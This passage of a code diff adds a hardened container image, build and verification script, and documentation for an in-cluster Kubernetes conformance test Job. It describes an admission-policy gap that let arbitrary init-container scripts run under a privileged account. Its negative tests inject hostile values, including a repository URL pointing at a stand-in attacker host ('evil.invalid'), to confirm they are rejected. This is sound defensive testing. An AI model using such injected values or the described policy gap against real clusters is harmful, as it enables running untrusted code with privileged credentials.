+# run its self-test" has no legitimate environmental cause once python3 and render.py are
+# both present (both asserted above). ci/gate.sh maps this stage's rc 1 to BLOCKED.
+log "Stage: catalog/render.py --selftest (the renderer's own output-contract assertions)"
+selftest_out="$(mktemp)"
+if "$PYTHON" "$RENDER_PY" --selftest >"$selftest_out" 2>&1; then
+  ok "render.py --selftest passed"
+  summary "- render-selftest: **passed** (\`catalog/render.py --selftest\`)"
+else
+  err "catalog/render.py --selftest FAILED — the renderer violates its own output contract."
+  err "  Every golden under apps/ is produced by this renderer, so the goldens below cannot"
+  err "  be trusted even if they reproduce byte-for-byte. Reproduce with:"
+  err "    ${PYTHON} catalog/render.py --selftest"
+  sed 's/^/    /' "$selftest_out" >&2 || true
+  summary "- render-selftest: **FAILED** (\`catalog/render.py --selftest\` — renderer contract violated)"
+  rm -f "$selftest_out"
+  exit 1
+fi
+rm -f "$selftest_out"
+
 if [ ! -d "$CATALOG_DIR" ] || ! compgen -G "${CATALOG_DIR}/*.yaml" >/dev/null 2>&1; then
   skip "no catalog ServiceDefinitions under '${CATALOG_DIR}' — nothing to render."
   summary "- render-golden: **SKIPPED** (empty catalog)"

conformance/incluster/Containerfile

@@ -0,0 +1,200 @@
+# =============================================================================
+# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
+# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
+# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
+# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
+# would have failed at exec of `./run.sh`. This image carries exactly what
+# `conformance/run.sh` needs:
+#
+#   bash      run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
+#   python3   lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
+#             (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
+#   chainsaw  the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
+#   kubectl   conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
+#   git       the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
+#             run.sh's `rev-parse --short HEAD` for the run id
+#   tar/gzip/coreutils  the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
+#
+# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
+# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
+# hole, not for convenience: see the COPY below and the script's own header.
+#
+# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
+# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
+# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
+# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
+# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
+#
+# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
+# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
+# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
+# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
+# baking the whole devcontainer toolchain into the runner would roughly double its size to
+# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
+# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
+# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
+# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
+# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
+# args is T-6.1b's call, not this image's.
+#
+# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
+# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
+# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
+# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
+# consequences are baked in here:
+#
+#   1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
+#      REJECTS an image whose USER is a name it cannot resolve to a uid
+#      ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
+#   2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
+#      and `results` volumes — there is no writable /tmp and one cannot be added without
+#      changing the boundary. So HOME and every cache path point INTO /workspace (the
+#      emptyDir), not at the read-only root. That is why HOME=/workspace below.
+# =============================================================================
+
+# --- builder: fetch the pinned release binaries ------------------------------
+# A full Fedora for the download stage (it has curl + tar); none of it ships in the runtime
+# image, so the runner does not carry a downloader it has no business having at runtime.
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora:${FEDORA_VERSION} AS builder
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG TARGETARCH=amd64
+
+# Fail the BUILD — not the Job, three weeks later — if a pin was not passed in.
+RUN set -eux; \
+    : "${CHAINSAW_VERSION:?pass --build-arg CHAINSAW_VERSION from infra/devcontainer/versions.env}"; \
+    : "${KUBECTL_VERSION:?pass --build-arg KUBECTL_VERSION from infra/devcontainer/versions.env}"
+
+# Same URLs and the same arch handling as infra/devcontainer/Containerfile, so the chainsaw
+# and kubectl in this image are the same builds the toolbox gate runs with.
+#
+# INTEGRITY, MEASURED NOT ASSUMED. kubectl publishes a plain `<url>.sha256`, so it is verified
+# below. chainsaw publishes NO checksums file — the v0.2.12 release assets are the tarballs plus
+# per-asset cosign `.sig`/`.pem` and an SBOM (listed via the GitHub releases API). So chainsaw's
+# integrity here rests on the tag + TLS, and afterwards on this image's own digest.
+# TODO, worth doing and deliberately not smuggled in here: verify chainsaw with
+# `cosign verify-blob --certificate chainsaw_linux_amd64.tar.gz.pem
+#  --signature chainsaw_linux_amd64.tar.gz.sig ...`. That needs cosign in the builder stage and
+# the correct keyless identity/issuer for kyverno's release workflow — a supply-chain decision
+# that belongs in its own reviewed change, not as a silent addition to a runner image.
+# infra/devcontainer/Containerfile has the same gap for the same binary.
+RUN set -eux; \
+    mkdir -p /out; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" \
+      -o /out/kubectl; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl.sha256" \
+      -o /tmp/kubectl.sha256; \
+    echo "$(cat /tmp/kubectl.sha256)  /out/kubectl" | sha256sum -c -; \
+    curl -fsSL "https://github.com/kyverno/chainsaw/releases/download/v${CHAINSAW_VERSION}/chainsaw_linux_${TARGETARCH}.tar.gz" \
+      | tar -xz -C /out chainsaw; \
+    chmod 0755 /out/kubectl /out/chainsaw; \
+    /out/kubectl version --client=true --output=yaml >/dev/null; \
+    /out/chainsaw version >/dev/null
+
+# --- runtime -----------------------------------------------------------------
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG FEDORA_VERSION=44
+# Nonroot uid/gid. 65532 is the distroless `nonroot` convention; the value is arbitrary but
+# it MUST be numeric and non-zero — see "THE ADMISSION CONTRACT" above.
+ARG RUNNER_UID=65532
+ARG RUNNER_GID=65532
+
+LABEL org.opencontainers.image.title="conformance-runner" \
+      org.opencontainers.image.description="bash + python3 + chainsaw + kubectl + git for the in-cluster L2/L3 conformance Job (conformance/run.sh)" \
+      org.opencontainers.image.source="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl" \
+      org.opencontainers.image.documentation="conformance/incluster/README.md" \
+      homelab.keithjackson.dev/requirements="R-TEST-02,R-SEC-02"
+
+# bash: run.sh + every check.sh.  python3: the stdlib report generators.
+# git-core: the init-container clone (git-core, not git — drops the perl/svn tail).
+# coreutils/findutils/grep/sed/gawk: find, sort, base64, xargs, sed -nE, awk in lib/*.sh.
+# tar+gzip: the base64-tar results channel.  diffutils: `diff` in the L1 golden compare.
+# ca-certificates: TLS for the init clone and for kubectl's in-cluster API calls.
+RUN set -eux; \
+    microdnf -y install --setopt=install_weak_deps=0 --nodocs \
+      bash python3 git-core coreutils findutils grep sed gawk tar gzip diffutils \
+      ca-certificates; \
+    microdnf clean all; \
+    rm -rf /var/cache/* /var/log/dnf*
+
+COPY --from=builder /out/kubectl /out/chainsaw /usr/local/bin/
+
+# The init container's ONLY entrypoint. Copied as a file with a fixed path and NO argument
+# surface, because the admission policy pins the main container's `command` but never reads
+# `initContainers` — so an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+# script is currently ADMITTED and runs as the privileged `conformance-runner` SA (reproduced
+# by the policy's author; pass 3, fail 0). A 4th policy rule requiring
+# `command: ["/usr/local/bin/conformance-clone"]` with no `args` is what makes this file
+# REQUIRED rather than merely available; that rule belongs in its own reviewed PR against the
+# boundary, not here. See the script's header for the env-injection half of the same hole.
+#
+# 0755 root:root: the container runs as 65532 and MUST NOT be able to replace the one
+# executable the policy will trust. Ownership is asserted below rather than assumed.
+COPY conformance-clone /usr/local/bin/conformance-clone
+RUN set -eux; \
+    chown root:root /usr/local/bin/conformance-clone; \
+    chmod 0755 /usr/local/bin/conformance-clone; \
+    bash -n /usr/local/bin/conformance-clone; \
+    /usr/local/bin/conformance-clone --anything 2>&1 | grep -q 'takes no arguments'; \
+    test "$(stat -c '%U:%G %a' /usr/local/bin/conformance-clone)" = 'root:root 755'
+
+# The nonroot account is written directly rather than pulling in shadow-utils to run useradd
+# once. HOME is /workspace because at runtime that emptyDir is the only writable path.
+RUN set -eux; \
+    echo "runner:x:${RUNNER_UID}:${RUNNER_GID}:conformance runner:/workspace:/bin/bash" >> /etc/passwd; \
+    echo "runner:x:${RUNNER_GID}:" >> /etc/group; \
+    install -d -m 0775 -o "${RUNNER_UID}" -g "${RUNNER_GID}" /workspace
+
+# SYSTEM-level config, because HOME is an emptyDir that starts empty on every run and the
+# root filesystem is read-only — a runtime `--global` write would fail.
+# safe.directory=*: the init-container clones into the shared emptyDir and the main container
+# then runs `rev-parse` over it; any uid mismatch between the two would otherwise abort with
+# "detected dubious ownership". The repo is fetched fresh per run into an emptyDir, so there
+# is no pre-existing hostile checkout this relaxes a check against.
+RUN set -eux; \
+    printf '%s\n' \
+      '[safe]' \
+      '	directory = *' \
+      '[advice]' \
+      '	detachedHead = false' \
+      > /etc/gitconfig; \
+    chmod 0644 /etc/gitconfig
+
+# Provenance: what is actually in this layer, readable from a running pod.
+RUN set -eux; \
+    { echo "fedora=${FEDORA_VERSION}"; \
+      echo "chainsaw=${CHAINSAW_VERSION}"; \
+      echo "kubectl=${KUBECTL_VERSION}"; \
+      echo "bash=$(bash --version | head -1)"; \
+      echo "python3=$(python3 --version)"; \
+      echo "git=$(git --version)"; \
+      echo "conformance-clone=$(sha256sum /usr/local/bin/conformance-clone | cut -d' ' -f1)"; \
+    } > /etc/conformance-runner-versions; \
+    chmod 0444 /etc/conformance-runner-versions
+
+# Every writable path points into the `workspace` emptyDir — the root filesystem is
+# read-only and the admission policy forbids adding a third volume for scratch.
+ENV HOME=/workspace \
+    XDG_CACHE_HOME=/workspace/.cache \
+    XDG_CONFIG_HOME=/workspace/.config \
+    TMPDIR=/workspace/.tmp \
+    PYTHONDONTWRITEBYTECODE=1 \
+    CONF_ROOT=/workspace/conformance
+
+USER ${RUNNER_UID}:${RUNNER_GID}
+WORKDIR /workspace
+
+# No ENTRYPOINT on purpose. The admission policy pins `command: ["./run.sh"]` with
+# `workingDir: /workspace/conformance`; an ENTRYPOINT here would either be ignored or
+# prepend something the policy cannot see. `bash` is the interactive fallback for a human
+# debugging the image locally.
+CMD ["/bin/bash"]

conformance/incluster/README.md

@@ -25,20 +25,86 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   commented with the test/requirement that needs it — only as the matching fault-injection
   test lands. This is a **privileged test identity**: never reused by workloads, its own
   audit item.
-- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
-  `--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
-  exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
+- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
+  run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
+  commit under test; artifacts leave over stdout. Its header is the authority on the
+  substitution tokens and the admission constraints it satisfies, and records the
+  `initContainers` hole that was found and closed alongside it — read it before editing
+  either file.
+- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
+  `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
+  filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
+  it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
+  source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
+  uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
+  L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
+  kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
+- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
+  `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
+  It is a file in the image rather than an inline script in the Job precisely so admission
+  can pin it: a policy cannot tell the committed script from an attacker's when both are
+  just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
+  match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
+  unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
+  takes **no arguments**, and the repository URL and clone target are **compiled in** —
+  `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
+  honoured, because a URL taken from env would let the trigger choose which repository's
+  code runs as `conformance-runner`. This branch's Job depends on that interface:
+  `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
+  (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
+  > **The other half landed with this branch.** When `conformance-clone` arrived, the
+  > admission policy pinned the main container's `command` but **never read
+  > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+  > script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
+  > merely *available* rather than *required*. The rule that closes it is
+  > `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
+  > digest-pinned to the conformance-runner image, `command` exactly
+  > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
+  > `env`/`envFrom` were the same shape of hole and are closed in the same policy.
+- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
+  image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
+  prints the exact `podman push --digestfile …` command for the operator instead. See
+  `conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
+  `--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
+  and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
+  default verify stays offline so an air-gapped build is fully checked, not half-checked).
 
 ## Flow
-1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
-   trigger with narrow rights: create Job + read its logs/status — *not* a broad
-   kubeconfig).
-2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
-   `./run.sh` under `conformance-runner`.
-3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
-   `coverage/` to the results volume (`/workspace/conformance/_artifacts`).
-4. CI collects those artifacts (results volume or the terminating log stream, which echoes
-   their paths) and enforces the merge / phase-exit gate on them.
+1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
+   runner image digest and the commit SHA — replaces `args` with the invocation shape, and
+   `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
+   pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
+2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
+   fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
+3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
+   shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
+   not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
+   the suite runs at the commit under test or not at all. The read-only Gitea credential
+   reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
+   `username`/`token`), never as a volume: admission allows no volume but `workspace` and
+   `results`.
+4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
+   `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
+5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
+   stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
+   decodes it from `kubectl logs` and must make all five completeness checks listed above
+   `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
+   of decoding to plausible garbage.
+
+## Prerequisites before this Job can run at all
+- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
+  `token`: a **read-only** Gitea token for this repository. Never a write token or a
+  push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
+- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
+  before this template is usable; its digest is what the trigger substitutes. Contract the
+  image MUST meet, because the Job and the admission policy both depend on it:
+  - bash, git, python3, chainsaw and kubectl on `PATH`;
+  - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
+    uid in the Containerfile means the Job will not start;
+  - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
+    mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
+    that exact path, so an image without it cannot run the clone step and no other path will
+    be admitted.
 
 ## Phase 0
 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux

conformance/incluster/build-image.sh

@@ -0,0 +1,229 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance/incluster/build-image.sh — build the pinned `conformance-runner`
+# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+#   ./build-image.sh                 # build + verify + print the digest and push command
+#   ./build-image.sh --no-verify     # build only (skip the in-image tool proof)
+#   ./build-image.sh --verify-clone  # ALSO really clone this repo with conformance-clone.
+#                                    #   Opt-in because it needs the Gitea host reachable; the
+#                                    #   default verify is offline so an air-gapped build is
+#                                    #   still fully checked rather than half-checked.
+#   ENGINE=docker ./build-image.sh   # build with docker instead of podman
+#
+# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
+# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
+# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
+# non-root uid the policy demands, and prints the exact `podman push` line for a human.
+#
+# VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
+# single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
+# pins the toolbox gate runs with. Nothing in this file invents a version.
+#
+# THE DIGEST CAVEAT — read it before pasting a digest into anything.
+# The digest printed here is the LOCAL manifest digest. It is normally identical to the
+# registry digest (podman pushes the manifest it already has rather than recompressing),
+# but that is a property of the push, not a guarantee. So the push command below uses
+# `--digestfile`: the digest the registry actually returns is the authoritative one, and
+# that is the one that goes into conformance/versions.env.
+###############################################################################
+set -euo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
+ENGINE="${ENGINE:-podman}"
+
+VERIFY=1
+VERIFY_CLONE=0
+for arg in "$@"; do
+  case "$arg" in
+    --no-verify) VERIFY=0 ;;
+    --verify-clone) VERIFY_CLONE=1 ;;
+    -h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
+    *) echo "unknown argument: $arg" >&2; exit 2 ;;
+  esac
+done
+
+log()  { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+die()  { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
+
+command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
+
+# --- pins: sourced, never invented -------------------------------------------
+TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
+[ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
+# shellcheck disable=SC1090
+source "${TOOLCHAIN_ENV}"
+: "${CHAINSAW_VERSION:?CHAINSAW_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
+
+# --- image name: fixed by the admission policy -------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
+# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
+# is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
+IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# The tag is build convenience only (a human-readable handle for the push). Admission
+# ignores it: only the digest is ever referenced from a Job.
+IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
+IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
+
+log "Building ${IMAGE_REF}"
+info "engine            ${ENGINE} ($(${ENGINE} --version 2>/dev/null | head -1))"
+info "pins from         ${TOOLCHAIN_ENV}"
+info "  CHAINSAW        ${CHAINSAW_VERSION}"
+info "  KUBECTL         ${KUBECTL_VERSION}"
+info "  FEDORA          ${FEDORA_VERSION}"
+
+"${ENGINE}" build \
+  --file "${HERE}/Containerfile" \
+  --tag "${IMAGE_REF}" \
+  --build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
+  --build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
+  --build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
+  "${HERE}"
+
+# --- verify: the point of the whole exercise ---------------------------------
+# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
+# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
+# filesystem — the shape the admission policy forces. A pass here is the only evidence
+# this image is usable; a build that merely succeeded is not.
+if [ "${VERIFY}" -eq 1 ]; then
+  log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --entrypoint "" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      echo "--- id ---";             id
+      echo "--- HOME ---";           echo "HOME=${HOME}"
+      echo "--- bash ---";           bash --version | head -1
+      echo "--- python3 ---";        python3 --version
+      echo "--- git ---";            git --version
+      echo "--- kubectl ---";        kubectl version --client
+      echo "--- chainsaw ---";       chainsaw version
+      echo "--- baked versions ---"; cat /etc/conformance-runner-versions
+      echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
+      stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
+      if [ -w /usr/local/bin/conformance-clone ]; then
+        echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
+      fi
+      echo "confirmed: not writable by uid $(id -u)"
+      # Each of these MUST fail. Assert the non-zero exit as well as the message: a check
+      # that only greps stderr would pass a build where the guard had stopped rejecting.
+      # (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
+      # expected failure — without it the verify dies at the first negative case.)
+      expect_fail() {
+        local label="$1"; shift
+        local out rc=0
+        out="$(env "$@" 2>&1)" || rc=$?
+        echo "--- ${label} ---"
+        printf "%s\n" "${out}" | head -2
+        if [ "${rc}" -eq 0 ]; then
+          echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
+        fi
+        echo "(rejected, exit ${rc})"
+      }
+      expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
+        conformance-clone --layer l2
+      expect_fail "conformance-clone rejects a missing SHA" \
+        conformance-clone
+      expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
+        CONFORMANCE_GIT_SHA=main conformance-clone
+      expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
+        CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
+      expect_fail "conformance-clone rejects a HOME off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        HOME=/etc conformance-clone
+      expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
+      expect_fail "conformance-clone refuses a clone target off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_SRC=/etc/src conformance-clone
+      echo "--- rootfs is read-only (expected: a failure) ---"
+      if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
+      echo "confirmed: / is read-only"
+      echo "--- HOME is writable (the workspace emptyDir) ---"
+      touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
+      echo "--- uid is non-zero ---"
+      [ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
+    '
+  log "Toolchain verified"
+fi
+
+# --- verify the clone helper against the REAL repository (opt-in: needs network) ----
+# The negative cases above prove conformance-clone refuses bad input. This proves the
+# positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
+# rev-parse assertion is only an unexercised line of shell.
+if [ "${VERIFY_CLONE}" -eq 1 ]; then
+  log "Verifying conformance-clone against the real repository"
+  SHA="$(git -C "${REPO_ROOT}" rev-parse HEAD)"
+  info "requesting commit ${SHA}"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --network host \
+    --entrypoint "" \
+    -e "CONFORMANCE_GIT_SHA=${SHA}" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      conformance-clone
+      echo "--- assert rev-parse HEAD == the requested SHA ---"
+      got="$(git -C /workspace/src rev-parse HEAD)"
+      echo "requested: ${CONFORMANCE_GIT_SHA}"
+      echo "HEAD:      ${got}"
+      [ "${got}" = "${CONFORMANCE_GIT_SHA}" ] || { echo "MISMATCH"; exit 1; }
+      echo "confirmed: the working tree is at the requested commit"
+      test -x /workspace/src/conformance/run.sh && echo "confirmed: run.sh present and executable"
+    '
+  log "conformance-clone verified against the real repository"
+fi
+
+# --- digest ------------------------------------------------------------------
+DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
+IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
+SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
+
+log "Built ${IMAGE_REF}"
+info "local manifest digest  ${DIGEST}"
+info "image id               ${IMAGE_ID}"
+info "size                   $(( SIZE / 1024 / 1024 )) MiB"
+
+cat <<EOF
+
+================================================================================
+NOT PUSHED. Publishing is an operator action — this script holds no registry
+credential and will never acquire one.
+
+OPERATOR: run these two commands, then paste the digest from the digestfile into
+conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
+
+    ${ENGINE} login gitea.home.keithjackson.dev
+
+    ${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
+      ${IMAGE_REF}
+
+Then:
+
+    cat /tmp/conformance-runner.digest
+    # -> sha256:....  THIS is the authoritative digest, not the local one above.
+
+    # conformance/versions.env
+    CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
+
+WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
+is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
+${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
+and so is any other repository path.
+
+TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
+\`${IMAGE_REPO}@sha256:*\` to be replaced with the
+LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
+That is a separate, human-reviewed PR against the security boundary.
+================================================================================
+EOF

conformance/incluster/chainsaw-job.yaml

@@ -1,23 +1,175 @@
 # =============================================================================
-# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
+# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
+# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
 #
-# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
-# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
-# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
-# CI collects, and enforces the merge / phase-exit gate on the outcome.
+# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
+# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
+# create a permanent Job object and fight the trigger for ownership.
 #
-# Two invocation shapes (CI sets args):
-#   * MERGE GATE:  ./run.sh --requirements <touched R-IDs>   (subset)
-#   * PHASE EXIT:  ./run.sh --layer all                      (full suite)
